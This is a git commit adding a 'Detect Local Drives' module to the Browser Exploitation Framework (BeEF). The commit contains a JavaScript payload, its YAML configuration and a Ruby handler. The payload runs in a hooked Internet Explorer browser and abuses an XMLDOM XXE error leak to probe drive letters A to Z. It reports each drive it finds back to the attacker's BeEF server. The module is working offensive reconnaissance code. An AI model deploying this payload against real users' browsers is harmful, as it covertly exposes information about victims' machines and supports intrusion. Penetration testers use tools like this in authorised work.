Add Detect Local Drives module

This commit is contained in:
Brendan Coles
2017-04-07 08:32:01 +00:00
parent b039b4a1d1
commit 50855d8f10
3 changed files with 69 additions and 0 deletions

View File

@@ -0,0 +1,40 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Users] Unspported browser');
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
return false;
}
function detect_drive(drive) {
var dtd = drive + ':\\';
var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async = true;
try {
xmlDoc.loadXML(xml);
return xmlDoc.parseError.errorCode == 0 ? true : false;
} catch (e) {
return true;
}
}
// Detect drives: A - Z
for (var i = 65; i <= 90; i++) {
var drive = String.fromCharCode(i);
beef.debug('[Detect Local Drives] Checking for drive: ' + drive);
var result = detect_drive(drive);
if (result) {
beef.debug('[Detect Local Drives] Found drive: ' + drive);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());
}
}
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_local_drives:
enable: true
category: "Host"
name: "Detect Local Drives"
description: "This module attempts to detect local drives on the user's system using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl)."
authors: ["bcoles"]
target:
working: ["IE"]
not_working: ["ALL"]

View File

@@ -0,0 +1,13 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_local_drives < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result'] if not @datastore['result'].nil?
save content
end
end